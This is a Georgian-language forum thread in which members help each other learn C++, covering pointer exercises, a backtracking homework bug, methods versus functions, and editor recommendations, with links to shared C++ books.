დააყენდება მარა გააჯმეინე 7 და 10 დააყენე ან 8 და გვერძე ლინუქსი მიუყენე და ყველა ეგეთი შეკითხვა რაც
დამიჯერე დღეში 100000 გექნება გუგლს დაუსვი.

არის ხვალ ან ზეგ დამიყნებს ჩემი ძმა 10-ს

მადლობა

და განვაახლებ მუშაობას

Posted by: HCl 7 Sep 2019, 20:01
ეხლა გადავხედე თანამედროვე ც++ >11. თურმე რა ძველი სტილი კოდები მქონია.

Posted by: RedShark 13 Sep 2019, 14:32

--

Posted by: RedShark 19 Sep 2019, 00:10

--

Posted by: AnEeEeE=]] 26 Sep 2019, 10:50
RedShark
ეს გამარჩევინე რა თუ არ დაგეზარება, პასუხები მაქვს მარა ვერ ვხვდები რატო პრინტავს რასაც პრინტავსuser posted image

Posted by: RedShark 26 Sep 2019, 14:54
AnEeEeE=]]

შეცდომებია mutate - ში და change - ში.

mutate - ში არასწორად არის პოინტერების მისამართები შენაცვლებული. change - შიც რაღაც უაზრო სვლებია გაკეთებული, თან ლოგიკურთან ერთად ფატალური შეცდომაც არის: ახალი მასივები გამოიყოფა ჰიპში, რომლებიც არ იშლება. ეს ნიშნავს რომ ყოველი გაშვებისას ახალ-ახალი მასივები გამოიყოფა და არ განადგურდება სანამ კომპიუტერს არ გადატვირთავ. ნებისმიერი ელემენტი/ობიექტი, რომელიც ჰიპში გამოიყოფა უნდა განადგურდეს როცა მათი საჭიროება აღარ არის ან პროგრამის გამორთვისას.

აი ასე იმუშავებს სწორად:

CODE

#include <iostream>
using namespace std;

void print(int *first, int *second) {
   for(int i = 0; i < 5; i++)
       cout << i << ": " << first[i] << ", " << second[i] << endl;
   cout << endl;    
}

void transmogrify(int *first, int *second) {
   for(int i = 0; i < 5; i++)
       first[i] = 137;
}


void mutate(int **first, int **second) {
   int *temp = *first;
   *first = *second;
   *second = temp;
}

void change(int *first, int *second) {
   for(int i = 0; i < 5; i++)
       first[i] = second[i] = 271;          
}
 
int main() {
   int *one = new int[5];
   int *two = new int[5];
   
   for(int i = 0; i < 5; i++) {
       one[i] = i;                  
       two[i] = 10 * i;              
   }
   
   transmogrify(one, two);
   print(one, two);
   
   mutate(&one, &two);
   print(one, two);
   
   change(one, two);
   print(one, two);
   
   delete[] one;
   delete[] two;
 
   return 0;
}


Posted by: AnEeEeE=]] 3 Oct 2019, 13:29
RedShark
აუ ვერ გამოგეხმაურე ძდროზე ბოდიში ძაან გიჟური პერიოდი მქონდა.

პასუხებში ასე წერია
user posted image

და შენ რო მუთეითში ორი ფიფქი გაუკეთე ფუნქციის არგუმენტებს ეგ რას ნიშნავს პირველად ვნახე :/ და მეინში კიდე რეფერენსის ნიშანი რატო დაუწერე :/

Posted by: RedShark 3 Oct 2019, 14:09
AnEeEeE=]]
QUOTE
პასუხებში ასე წერია

კი, ეგ კოდი მაგ პასუხებს მოგცემს ე.ი. სპეციალურად არის დაშვებული შეცდომები რომ იფიქრო რატომ არ მუშაობს პროგრამა სწორად.
QUOTE
შენ რო მუთეითში ორი ფიფქი გაუკეთე ფუნქციის არგუმენტებს ეგ რას ნიშნავს პირველად ვნახე

მაგას ჰქვია მიმთითებელზე მიმთითებელი (Pointer to Pointer).
QUOTE
მეინში კიდე რეფერენსის ნიშანი რატო დაუწერე

მასე ხდება ცვლადის მისამართის აღება პოინტერისთვის გადასაცემად:


CODE

#include <iostream>

using namespace std;

int main () {
  int  var;
  int  *ptr;                 // მიმთითებელი (ინახავს ცვლადის მისამართს)
  int  **pptr;               // მიმთითებელზე მიმთითებელი (ინახავს მიმთითებლის მისამართს)

  var = 3000;

  // ვიღებთ ცვლადის მისამართს (მასივის შემთხვევაში & ოპერატორი არ არის საჭირო)
  ptr = &var;

  // ვიღებთ მიმთითებლის მისამართს (აქ & ოპერატორი ნებისმიერ შემთხვევაში საჭიროა)
  pptr = &ptr;

  cout << "Value of var :" << var << endl;
  cout << "Value available at *ptr :" << *ptr << endl;
  cout << "Value available at **pptr :" << **pptr << endl;

  return 0;
}


ე.ი. ეგ ორფიფქიანი პოინტერი ჩვეულებრივი პოინტერის მისამართის ასაღებად გამოიყენება. მუთეითი პოინტერების მისამართების შენაცვლებას ახდენს

CODE

void mutate(int **first, int **second) {
  int *temp = *first;                       // ვქმნით დროებით პოინტერს და ვინახავთ მასში first - ის მისამართს
  *first = *second;                         // first - ს ვანიჭებთ second - ის მისამართს
  *second = temp;                           // second - ს ვანიჭებთ first - ის მისამართს
}


ამ ფუნქციის მერე first - ი მიუთითებს იმაზე, რაზეც მანამდე second - ი და პირიქით. პასუხებიც შესაბამისად გამოვა - შენაცვლებული.

Posted by: RedShark 10 Oct 2019, 21:00


http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#main

Posted by: RedShark 15 Oct 2019, 23:59



--

Posted by: RedShark 9 Nov 2019, 18:36

--

Posted by: AnEeEeE=]] 6 Jan 2020, 16:23
RedShark
მოკლედ დავუბრუნდი კოდებს სანამ მცალია ჯერჯერობით და გავწამდი ერთ რაღაცაზე და თუ არ დაგეზარება რო ნახო, დავალება არი ასეთი მოცემულია ქალაქები რა და ყველა ეს ქალაქი უნდა იყოს დაცული უბედური შემთხვევისგან . დაცული მაშIნ არის როცა მისი მეზობელი ქალაქი არის დაცული ან თვითონ ეს ქალაქი არის დაცული , დავწერე რეკურსია( backtracking algorithm) მარა პასუხს არ აგდებს :/ სად არი შეცდომა ვერ ვხვდები თან მგონია ნელი ხოარარითქო მარა მგონი იმას არ აკეთებს რაც მე მინდა


sad.gif რო ვკითხულობ კოდს თითქოს ყველაფერი ისე წერია მე როგორც მინდა მარა მგონი ისე არმუშაობს როგორც ველოდები არვიცი რა გავუკეთო დ


CODE
bool canBeMadeDisasterReady(const Map<string, Set<string>>& roadNetwork,
                           int numCities,
                            Set<string>& locations) {
   bool allCitiesareCovered(const Map<string, Set<string>>& roadNetwork,
                             Set<string>& locations);
   Map<string, Set<string>> updatednetwork = roadNetwork;
   Map<string, Set<string>> networkforlooping = roadNetwork;
   if(allCitiesareCovered(roadNetwork, locations) ) cout<<"true"<<locations<<endl;
   if ( allCitiesareCovered(roadNetwork, locations) ) return true;
   foreach (string coveredcity in networkforlooping){

       Set <string> coveredcityset = roadNetwork[coveredcity];
       networkforlooping.clear();
       updatednetwork.remove(coveredcity);
       locations.add(coveredcity);
       cout<<"locations first loop"<<locations<<endl;

       numCities= numCities-1;
       if ( (numCities > 0) && (canBeMadeDisasterReady(updatednetwork, numCities, locations)) ) return true;
       numCities=numCities+1;
       updatednetwork[coveredcity]=coveredcityset;
       locations.remove(coveredcity);
       foreach(string ncity in coveredcityset){
               Set <string> ncityconnections = updatednetwork[ncity];
               updatednetwork.remove(ncity);

               locations.add(ncity);
               cout<<"locationssecondloopneighboursofcity"<<locations<<endl;
               numCities=numCities-1;

        if ( (numCities > 0) && (canBeMadeDisasterReady(updatednetwork, numCities, locations))  ) return true;
               numCities=numCities+1;
               locations.remove(ncity);
               updatednetwork[ncity]= ncityconnections;
           }


   }
   return false;
}

bool allCitiesareCovered(const Map<string, Set<string>>& roadNetwork,
                        Set<string>& locations) {


   foreach(string city in roadNetwork){

           if (locations.contains(city)) continue;
            int num = roadNetwork[city].size();
            int i = 0;
       foreach(string ncity in roadNetwork[city]){
           if (!locations.contains(ncity)) i++;

           if(i==num) return false;

       }
}
       return true;

   }

აი ამაზე მაგალითად
Glasgow (2, 0): Edinburgh, Manchester
Edinburgh (3, 0): Newcastle, Glasgow, Manchester
Belfast (0, 1): Dublin
Newcastle (4, 1): Edinburgh, Leeds
Dublin (0, 2): Belfast, Cork
Liverpool (1, 2): Manchester
Manchester (2, 2): Liverpool, Glasgow, Edinburgh, Leeds, Birmingham
Leeds (4, 2): Newcastle, London, Birmingham
Cork (0, 3): Dublin
Birmingham (2, 3): Manchester, Leeds, Bristol, London
Cardiff (1, 4): Bristol
Bristol (2, 4): Cardiff, Birmingham, London
London (3, 4): Bristol, Birmingham, Leeds
პასუხს არ აგდებს user.gif

ხო კოდის აზრი არის შემდეგი , ჯერ ვაკოპირებ მეფს მერე ვიღებ ერთ ერთ ქალაქს როგორც ქის და მერე ვშლი მეფს და მივდივარ ორი გზით ეს ქალაქი რო დაცული იყოს მაშინ ან თვითონ ეს ქალაქი უნდა დავიცვათ ან მისი მეზობელი , ანუ პირველი რეკურსიით მივდივარ რო ვთქვათ ეს ქალაქია დაცული და შემდეგ ატრიალებს და უბრუნდება ფუნქციას მერე ეს თუ არ გამოვიდა წესით მისი რომელიმე მეზობელი უნდა იყოს დაცული და მაქედან შედის ფუნქციებში თავიდან, ისე წესით ნელი უნდა იყოს ხო რამდენჯერ გაიშლება კომბინაციბი მარა მგონია რო შეცდომა მაქვს სადღაც უფრო

Posted by: RedShark 6 Jan 2020, 17:50
AnEeEeE=]]
QUOTE
backtracking algorithm

არ ვიცნობ ამ ალგორითმს, არასოდეს გამომიყენებია (შესაბამისად შენი კოდიდან ბევრი ვერაფერი გავიგე). დავსერჩე და როგორც წერენ პრაქტიკაში არ გამოიყენება იმის გამო, რომ ძალიან ნელა მუშაობს:

QUOTE
Метод поиска с возвратом является универсальным. Достаточно легко проектировать и программировать алгоритмы решения задач с использованием этого метода. Однако время нахождения решения может быть очень велико даже при небольших размерностях задачи (количестве исходных данных), причём настолько велико (может составлять годы или даже века), что о практическом применении не может быть и речи. Поэтому при проектировании таких алгоритмов, обязательно нужно теоретически оценивать время их работы на конкретных данных. Существуют также задачи выбора, для решения которых можно построить уникальные, «быстрые» алгоритмы, позволяющие быстро получить решение даже при больших размерностях задачи. Метод поиска с возвратом в таких задачах применять неэффективно.





Posted by: AnEeEeE=]] 6 Jan 2020, 17:56
RedShark
QUOTE
არ ვიცნობ ამ ალგორითმს, არასოდეს გამომიყენებია (შესაბამისად შენი კოდიდან ბევრი ვერაფერი გავიგე). დავსერჩე და როგორც წერენ პრაქტიკაში არ გამოიყენება იმის გამო, რომ ძალიან ნელა მუშაობს:

ააა აბა ჭადრაკს და ეგეთ თამაშებს როგორ წერენ სადაც ბევრი კომბინაციების გათვლა გჭირდება, იდეაში მე არ მაქვს ბევრი კომბინაციები ტესტქეისებში ჰარდები რომლებიც არი არც მივსულვარ მაქამდე lol.gif

Posted by: RedShark 6 Jan 2020, 18:15
AnEeEeE=]]
QUOTE
ააა აბა ჭადრაკს და ეგეთ თამაშებს როგორ წერენ სადაც ბევრი კომბინაციების გათვლა გჭირდება

მარტივ შემთხვევაში კონკრეტული სვლების საწინააღმდეგო რამდენიმე სვლას წერენ, მაგრამ ეს ძალიან პრიმიტიული ვარიანტია. უფრო რთულ შემთხვევებში არ ვიცი, არ დავინტერესებულვრ.

Posted by: AnEeEeE=]] 15 Jan 2020, 01:29
როგორც იქნა მივხვდი რა შეცდომა მაქვს facepalm.gif

Posted by: RedShark 18 Jan 2020, 18:05
user posted image

https://yadi.sk/i/ffz26Uqt7yux4Q

კარგი წიგნია თანამედროვე STL - ზე.

Posted by: Roofus 18 Jan 2020, 21:43
გაიხარე

Posted by: RedShark 19 Jan 2020, 10:19
ახალ რუსულ თარგმანებსაც დავდებ ბარემ, გამოგადგებათ ვინც იცით.

user posted image

https://yadi.sk/i/dU4zgKGFaFNPgg

user posted image

https://yadi.sk/i/gZQqT2D6cDmihw

user posted image

https://yadi.sk/i/FgFi4WpxKE9tgA

Posted by: gugaGve 15 Dec 2020, 13:20
კონკრეტულად CPP ის არ ეხება მაგრამ მეთოდსა და ფუნქციას შორის რა განსხვავებაა

Posted by: Nil 15 Dec 2020, 13:50
QUOTE (gugaGve @ 15 Dec 2020, 13:20 )
კონკრეტულად CPP ის არ ეხება მაგრამ მეთოდსა და ფუნქციას შორის რა განსხვავებაა

როცა ფუნქციას კლასის შიგნით წერ ამ ფუნქციას ჰქვია მეთოდი

Posted by: river-song 15 Dec 2020, 14:45
QUOTE
კონკრეტულად CPP ის არ ეხება მაგრამ მეთოდსა და ფუნქციას შორის რა განსხვავებაა

მეთოდი არის მონაცემთა სტრუქტურის ნაწილი, ვექტორის მეთოდია რომ დაუმატო რაიმე ელემენტი ან წაშალო რამე ელემენტი მაგალითად, მეთოდი იწერა იმიტომ რომ ცხოვრება გაგიადვილდეს. შენ ხომ არ გაინტერესებს როგორ ხორციელდება ეგ დამატების და წაშლის ოპერაცია გაინტერესებს კლიენტის მხარე , ობიექტზე ორიენტირებული პროგრამირების არსი ეგ არი ზუსტად, გაქვს რაღაც მეთოდი რომელსაც იყენებ კომფორტულად და არ გაინტერესებს ეგ მეთოდი როგორ არი დაწერილი. შეიძლება მაგალითად დაწერო პროგრამა გამოიყენო მეთოდები, რომლებიც მერე დაწერო საერთოდ.
რო დაფიქრდე იგივეს გაკეთება ფუნქციით რტUლია, რაღაც დოზით შეიძლება გააკეთო, მაგალითად არი ვექტორის შექმნა სადაც შესაძლებელია სხვადასხვა რაოდენობის მონაცემების გადაცემა უფრო რთული იქნება. მაგრამ შეიძლება დაწერო ფუნქცია ვთქვათ რომელსაც ოთხ არგუმენტს გადასცემ. მერე კიდე დაწერო სხვა ფუნქცია რომელიც დაამატებს ვთქვათ მონაცემს ამ ფუნქციას ან წაშლის. ფუნქციითაც შეიძლება იგივეს გაკეთება რაც მეთოდით მაგრამ უფრო კომფორტულია კლასი დაწერო დამეთოდები მიანიჭო.
საინტერესო კითხვა დასვი ძაან, მეტს რო გაივლი უფრო მიხვდები . რეალურად ფუნქციურ დაპროგრამებასა და ობიექტზე ორიენტირებულ დაპროგრამებას შორის რა განსხვავებააო ეგ იკითხე. ორივეს აქვს მინუსები და პლიუსები .

Posted by: ntquerysysteminformation 7 Feb 2021, 17:38
ესეთი პრობლემა მაქ როცა მაუსით ვაკლიკებ და ვუშვებ პროგრამას GetModuleFileName აბრუნებს სწორ მისამართს საიდანაც არის გაშვებული
მარა თუ რეგისტრის სტარტაფის ქეიდან ეშვება მაშინ GetModuleFileName არასწორ მისამართს აბრუნებს და ხო ვერ მეტყვით როგორ მოვაგვარო ეს პრობლემა

Posted by: RedShark 27 Apr 2021, 13:56
river-song
QUOTE
მეთოდი არის მონაცემთა სტრუქტურის ნაწილი, ვექტორის მეთოდია რომ დაუმატო რაიმე ელემენტი ან წაშალო რამე ელემენტი მაგალითად, მეთოდი იწერა იმიტომ რომ ცხოვრება გაგიადვილდეს. შენ ხომ არ გაინტერესებს როგორ ხორციელდება ეგ დამატების და წაშლის ოპერაცია გაინტერესებს კლიენტის მხარე , ობიექტზე ორიენტირებული პროგრამირების არსი ეგ არი ზუსტად, გაქვს რაღაც მეთოდი რომელსაც იყენებ კომფორტულად და არ გაინტერესებს ეგ მეთოდი როგორ არი დაწერილი. შეიძლება მაგალითად დაწერო პროგრამა გამოიყენო მეთოდები, რომლებიც მერე დაწერო საერთოდ.
რო დაფიქრდე იგივეს გაკეთება ფუნქციით რტUლია, რაღაც დოზით შეიძლება გააკეთო, მაგალითად არი ვექტორის შექმნა სადაც შესაძლებელია სხვადასხვა რაოდენობის მონაცემების გადაცემა უფრო რთული იქნება. მაგრამ შეიძლება დაწერო ფუნქცია ვთქვათ რომელსაც ოთხ არგუმენტს გადასცემ. მერე კიდე დაწერო სხვა ფუნქცია რომელიც დაამატებს ვთქვათ მონაცემს ამ ფუნქციას ან წაშლის. ფუნქციითაც შეიძლება იგივეს გაკეთება რაც მეთოდით მაგრამ უფრო კომფორტულია კლასი დაწერო დამეთოდები მიანიჭო.
საინტერესო კითხვა დასვი ძაან, მეტს რო გაივლი უფრო მიხვდები . რეალურად ფუნქციურ დაპროგრამებასა და ობიექტზე ორიენტირებულ დაპროგრამებას შორის რა განსხვავებააო ეგ იკითხე. ორივეს აქვს მინუსები და პლიუსები .

ჩვეულებრივ გააკეთებ ყველაფერს სტრუქტურული სტილით (ანუ "ფუნქციებით"), რაც ოოპ-ით კეთდება. ძირითადი უპირატესობა რაც ოოპ-ს აქვს სტრუქტურულ პარადიგმასთან ესაა მემკვიდრეობა (არის კიდევ ინკაფსულაცია და პოლიმორფოზმი, მაგრამ ძირითადი "ფიშკა" მაინც მემკვიდრეობაა), რაც საშუალებას გაძლევს ერთი და იგივე კოდები არ წერო მრავალჯერ სხვადასხვა ტიპის ობიექტებისთვის. რაც საერთო აქვს ამ ობიექტებს ერთ აბსტრაქტულ ტიპში აერთიანებ და მხოლოდ განსხვავებებს ამატებ სხვადასხვა ტიპებისთვის მემკვიდრეობის სახით.. რაც უამრავ დროს, ენერგიას და ნერვს გიზოგავს მაგრამ... გააჩნია ენას/ტექნოლოგიას.. ოოპ-ი ძალიან კარგია მაგალითად C# - ში ან Python - ში, მაგრამ C++ - ზე ნაღდად ვერ იტყვი რომ რამეს გიზოგავს ან გიმარტივებს, აი გართულებით რამდენიც გინდა :დ
მაგრამ ისე მოხდა რომ აიტი ინდუსტრიის უდიდესი ნაწილი სიპპ-ზეა აწყობილი, ამიტომ სულ საჭირო და აქტუალურია და დიდხანს იქნება კიდევ...

Posted by: river-song 22 May 2021, 17:49
რომელ ედიტორს იყენებთ სიპიპის კოდებისთვის?რაღაცა ძველი კურსი ვნახე სტდ ცოტა რო დავამუღამო და ემაქსს იყენებენ , ძაან ძველი ხომ არაა, იყენებენ ხოლმე ეხლაც?

Posted by: RedShark 22 May 2021, 19:27
river-song
QUOTE
რომელ ედიტორს იყენებთ სიპიპის კოდებისთვის?რაღაცა ძველი კურსი ვნახე სტდ ცოტა რო დავამუღამო და ემაქსს იყენებენ , ძაან ძველი ხომ არაა, იყენებენ ხოლმე ეხლაც?

კი, იყენებენ რეტროგრადი ფანატიკოსები biggrin.gif

რამე თანამედროვე ედიტორი დააყენე, მაგალითად VS Code.
მაგრამ სპპ-ს სწავლის დაწყება მხოლოდ ედიტორით არ ღირს ჩემი აზრით, ცალკე მეიკ ფაილების სწავლა მოგიწევს, ცალკე დებაგირებაში გაგაწვალებს.. ჯობია რომელიმე ნავაროჩენნი იდე გამოიყენო, მაგალითად Qt Creator





Posted by: river-song 22 May 2021, 19:33
RedShark
QUOTE
კი, იყენებენ რეტროგრადი ფანატიკოსები

ისეთ არქაულ ვიდზეა ;დ

QUOTE
მაგრამ სპპ-ს სწავლის დაწყება მხოლოდ ედიტორით არ ღირს ჩემი აზრით, ცალკე მეიკ ფაილების სწავლა მოგიწევს

ჰო ეგენიც წავიკითხე , ჯერ ძაან პატარა პროექტია და ძირითადად იმაზეა ორიენტირებული ამ ედიტორის ამბებში გავერკვე , ვნახოთ აბა რა გამომივა , ჯერ ბრძოლისუნარიანი ვარ
ნუ თუ ძაან ჩავიხლართე მერე ისევ კლასიკურ ედიტორებზე გადავალ
biggrin.gif

Posted by: Dirac 30 May 2021, 10:16
river-song
მე ვიყენებ იმაქსს. წლები უნდა მაგის სწავლას მაგრამ ღირს. სამსახურში pycharm-ზეც იმაქს კი ბაინდინგ მაქვს, მთალდ იმაქსივით ვერაა მაგრამ ახლოსაა. თავიდან უბრალოდ კარგი ტექსტ ედიტორია. მერე რად გადააქცევ ეგ უკვე შენზეა.

Posted by: Ghare 20 Jun 2021, 15:19
c++ ვინც იცით და რამდენიმე წუთი გცალიათ გთხოვთ მომწეროთ, რამდენიმე კითხვა მაქვს და დახმარება მჭირდება ))

Posted by: NinjaRacer 21 Jun 2021, 03:17
იაქსი არ ვიცი მაგრამ vim/vi იმდენად მივეჩვიე ვიესკოდში ბიანდინგები დავაყენე.

როცა დაამუღამებ ტექსთან მუშაობას და როგორც ობიექტს ისე ემუშავები ტექსტს ძალიან სწრაფად აკეთებ ელემენტალურ პროცესებს და ძალიან ეჩვევი იმიტომ რომ მოსახერხებლია.

https://www.youtube.com/watch?v=VaBdlcYaZLQ

https://www.youtube.com/watch?v=JWD1Fpdd4Pc


იმიტომ მიყვარს რომ ნებისმიერ უნიქსზე აყენია. სადაც არ უნდა შეხვიდე სულ გაქვს ედიოტორი. უნივერსალურია.

* * *
ვიესკოდს აქვს ექსტენჟენი learn vim იმაქსიც ექნება.
პირდაპირ მანულით არ მიადგე. რამე პროგრამით ისწავლი. თორე შტერობა მოგეჩვენება.

user posted image

vscode+vim = profit


როცა სერვერებზე ხელით გაქვს დასაედიტებელი კონფიგ ფაილები.
vim-ში მუშაობაობა მისწრებაა. ჰოდა იმდენად მივეჩვიე რომ კოდსაც ვიმით ვაედიტებ რათმქუანდა ვიესკოდში.

მარტო ერთი მაგალითი.

ვთქვათ ექსეფშენი დაგირტყა 3291 ხაზზე

vim +3291 file.cc

კლავიატურით შეგყავს ტექსტი და როცა მიეჩვევი კლავიტურითვე ამ ტექსთან მუშაობა მაუსი საერთოდ აღარ დაგჭირდება.

Posted by: RedShark 23 Jan 2022, 18:07

--

Posted by: RedShark 6 Feb 2022, 15:25
user posted image

https://disk.yandex.ru/i/ifuT-DIEmIjcGg


Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)